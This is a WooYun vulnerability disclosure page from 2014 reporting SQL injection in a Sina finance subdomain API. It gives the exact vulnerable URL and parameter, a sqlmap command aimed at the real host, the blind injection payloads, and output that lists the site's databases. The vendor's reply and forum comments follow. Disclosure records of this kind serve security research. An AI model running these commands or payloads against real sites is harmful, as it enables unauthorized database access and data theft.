当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075090

漏洞标题:新浪网某分站SQL注入

相关厂商:新浪

漏洞作者: Jannock

提交时间:2014-09-04 22:45

修复时间:2014-10-19 22:46

公开时间:2014-10-19 22:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-04: 细节已通知厂商并且等待厂商处理中
2014-09-06: 厂商已经确认,细节仅向厂商公开
2014-09-16: 细节向核心白帽子及相关领域专家公开
2014-09-26: 细节向普通白帽子公开
2014-10-06: 细节向实习白帽子公开
2014-10-19: 细节向公众公开

简要描述:

新浪网某分站SQL注入

详细说明:

http://vip.stock.finance.sina.com.cn/fund_center/api/jsonp.php/IO.XSRV2.CallbackList%5B%27lAv4TYdRGBuGTcuo%27%5D/NetValueReturn_Service.NetValueReturnOpen?page=1&num=20&sort=form_start&asc=0&ccode=80000221&type2=0&type3=&%5Bobject%20HTMLDivElement%5D=sjzwy
注入参数:
ccode

漏洞证明:

root@bt:/pentest/database/sqlmap# python sqlmap.py -u "http://vip.stock.finance.sina.com.cn/fund_center/api/jsonp.php/IO.XSRV2.CallbackList%5B%27lAv4TYdRGBuGTcuo%27%5D/NetValueReturn_Service.NetValueReturnOpen?page=1&num=20&sort=form_start&asc=0&ccode=80000221&type2=0&type3=&%5Bobject%20HTMLDivElement%5D=sjzwy" -p ccode --dbms=mysql --dbs --threads 5
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 22:43:09
[22:43:09] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ccode
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=1&num=20&sort=form_start&asc=0&ccode=80000221' AND 3928=3928 AND 'gswx'='gswx&type2=0&type3=&[object HTMLDivElement]=sjzwy
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: page=1&num=20&sort=form_start&asc=0&ccode=80000221' AND SLEEP(5) AND 'PYVJ'='PYVJ&type2=0&type3=&[object HTMLDivElement]=sjzwy
---
[22:43:10] [INFO] testing MySQL
[22:43:11] [INFO] confirming MySQL
[22:43:12] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[22:43:12] [INFO] fetching database names
[22:43:12] [INFO] fetching number of databases
[22:43:12] [INFO] retrieved: 3
[22:43:15] [INFO] retrieving the length of query output
[22:43:14] [INFO] retrieved: 18
[22:43:35] [INFO] retrieved: _nformation_schema 17/18 (94%)
[22:43:43] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[22:43:43] [WARNING] if the problem persists please try to lower the number of used threads (--threads)
[22:43:44] [INFO] retrieved: information_schema
[22:43:44] [INFO] retrieving the length of query output
[22:43:44] [INFO] retrieved: 4
[22:43:49] [INFO] retrieved: fcdb
[22:43:49] [INFO] retrieving the length of query output
[22:43:49] [INFO] retrieved: 4
[22:43:54] [INFO] retrieved: test
available databases [3]:
[*] fcdb
[*] information_schema
[*] test
[22:43:54] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/vip.stock.finance.sina.com.cn'
[*] shutting down at 22:43:54

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-09-06 17:22

厂商回复:

感谢关注新浪安全。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-04 22:45 | 孤独雪狼 ( 普通白帽子 | Rank:710 漏洞数:145 | 七夕手机被偷,这坑爹的七夕啊 。。。。)

    啪啪啪 好疼

  2. 2014-09-04 22:48 | 浮萍 ( 普通白帽子 | Rank:555 漏洞数:118 | 默默潜水)

    膜拜一哥

  3. 2014-09-04 22:52 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    大圣收了神通吧

  4. 2014-09-04 22:59 | 卡卡 ( 普通白帽子 | Rank:447 漏洞数:52 | <script>alert('安全团队长期招人')</scrip...)

    一个再发一个,我看到细节了·~~

  5. 2014-09-04 23:17 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    要是能把整个发现和测试的过程写出来就好了,像二哥那样

  6. 2014-09-04 23:52 | Mr .LZH ( 普通白帽子 | Rank:583 漏洞数:75 | 非妹子勿扰···)

    @px1624 他用火狐+firebug 看着看着就挖到了,这就他的过程

  7. 2014-09-05 08:43 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @Mr .LZH 你怎么知道!

  8. 2014-09-05 09:17 | rasca1 ( 实习白帽子 | Rank:53 漏洞数:16 | 菜鸟一只)

    @Mr .LZH 从截图上看 一哥用的burp

  9. 2014-09-05 11:08 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1:5 无限量收 [平台担保])

    10000WB出售